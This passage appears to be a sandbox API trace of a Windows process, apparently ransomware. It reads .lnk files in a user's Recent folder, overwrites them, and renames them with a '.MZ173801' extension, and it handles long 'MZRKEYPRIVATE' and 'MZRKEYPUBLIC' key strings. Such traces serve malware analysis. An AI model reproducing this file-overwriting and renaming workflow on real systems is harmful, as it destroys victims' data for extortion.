lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.917] GetCurrentThreadId () returned 0xab4 [0151.917] GetCurrentThreadId () returned 0xab4 [0151.917] GetCurrentThreadId () returned 0xab4 [0151.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.918] GetCurrentThreadId () returned 0xab4 [0151.918] GetCurrentThreadId () returned 0xab4 [0151.918] GetCurrentThreadId () returned 0xab4 [0151.918] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\REZYZ1.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rezyz1.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.918] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.918] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.918] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3c5 [0151.919] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.919] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3c5, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3c5, lpOverlapped=0x0) returned 1 [0151.919] CloseHandle (hObject=0x280) returned 1 [0151.920] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\REZYZ1.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rezyz1.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.921] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3c5, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3c5, lpOverlapped=0x0) returned 1 [0151.922] CloseHandle (hObject=0x280) returned 1 [0151.927] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\REZYZ1.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rezyz1.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\REZYZ1.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rezyz1.lnk.mz173801")) returned 1 [0151.927] GetCurrentThreadId () returned 0xab4 [0151.927] GetCurrentThreadId () returned 0xab4 [0151.927] GetCurrentThreadId () returned 0xab4 [0151.928] GetCurrentThreadId () returned 0xab4 [0151.928] GetCurrentThreadId () returned 0xab4 [0151.928] GetCurrentThreadId () returned 0xab4 [0151.928] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a4c25, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf52a4c25, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf52a4c25, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="RGQur6sY-GXeNf-nX.lnk", cAlternateFileName="RGQUR6~1.LNK")) returned 1 [0151.928] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.928] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.928] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RGQur6sY-GXeNf-nX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rgqur6sy-gxenf-nx.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a4c25, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf52a4c25, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf52a4c25, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2ab)) returned 1 [0151.928] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RGQur6sY-GXeNf-nX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rgqur6sy-gxenf-nx.lnk")) returned 0x20 [0151.928] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RGQur6sY-GXeNf-nX.lnk", dwFileAttributes=0x80) returned 1 [0151.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0151.931] GetCurrentThreadId () returned 0xab4 [0151.931] GetCurrentThreadId () returned 0xab4 [0151.931] GetCurrentThreadId () returned 0xab4 [0151.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 